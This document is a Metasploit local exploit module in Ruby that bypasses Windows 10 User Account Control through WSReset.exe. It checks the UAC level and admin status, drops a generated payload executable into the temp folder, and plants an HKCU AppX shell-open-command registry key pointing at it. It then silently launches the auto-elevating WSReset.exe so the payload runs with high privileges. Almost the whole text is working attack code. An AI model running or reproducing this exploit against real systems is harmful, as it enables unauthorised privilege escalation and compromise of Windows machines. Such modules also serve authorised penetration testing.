Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry',
        'Description' => %q{
          This module exploits a flaw in the WSReset.exe file associated with the Windows
          Store.  This binary has autoelevate privs, and it will run a binary file
          contained in a low-privilege registry location.  By placing a link to
          the binary in the registry location, WSReset.exe will launch the binary as
          a privileged user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'ACTIVELabs',   # discovery
          'sailay1996',   # poc
          'bwatters-r7',  # metasploit module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [[ 'Automatic', {} ]],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 15
        },
        'DisclosureDate' => '2019-02-19',
        'Notes' => {
          'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
        },
        'References' => [
          ['URL', 'https://www.activecyber.us/activelabs/windows-uac-bypass'],
          ['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'],
          ['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'],
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )
    register_options(
      [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
    )
  end

  def check
    version = get_version_info
    if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled? && exists?('C:\\Windows\\System32\\WSReset.exe')
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    @registry_key = ''
    check_permissions!
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    # get directory locations straight
    win_dir = session.sys.config.getenv('windir')
    vprint_status('win_dir = ' + win_dir)
    tmp_dir = session.sys.config.getenv('tmp')
    vprint_status('tmp_dir = ' + tmp_dir)
    exploit_dir = win_dir + '\\System32\\'
    vprint_status('exploit_dir = ' + exploit_dir)
    reset_filepath = exploit_dir + 'WSReset.exe'
    vprint_status('exploit_file = ' + reset_filepath)

    # make payload
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe'
    payload_pathname = tmp_dir + '\\' + payload_name
    vprint_status('payload_pathname = ' + payload_pathname)
    vprint_status('Making Payload')
    payload = generate_payload_exe
    reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
    vprint_status("reg_command = " + reg_command)
    @registry_key = 'HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command'

    # make registry changes
    vprint_status("Making Registry Changes")
    begin
      registry_createkey(@registry_key)
      registry_setvaldata(@registry_key, 'DelegateExecute', '', 'REG_SZ')
      registry_setvaldata(@registry_key, '', reg_command, 'REG_SZ')
    rescue ::Exception => e
      print_error(e.to_s)
    end
    vprint_status('Registry Changes Complete')
    # Upload payload
    vprint_status("Uploading Payload to #{payload_pathname}")
    write_file(payload_pathname, payload)
    vprint_status('Payload Upload Complete')

    vprint_status('Launching ' + reset_filepath)
    begin
      session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, 'Hidden' => true)
    rescue ::Exception => e
      print_error(e.to_s)
    end
    print_warning("This exploit requires manual cleanup of '#{payload_pathname}'")
  end

  def cleanup
    if @registry_key.present?
    vprint_status('Removing Registry Changes')
      registry_deletekey(@registry_key)
    vprint_status('Registry Changes Removed')
    end
  end

  def check_permissions!
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
    # Check if you are an admin
    # is_in_admin_group can be nil, true, or false
    print_status('UAC is Enabled, checking level...')
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?
    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    elsif admin_group
      print_good('Part of Administrators group! Continuing...')
    else
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end
end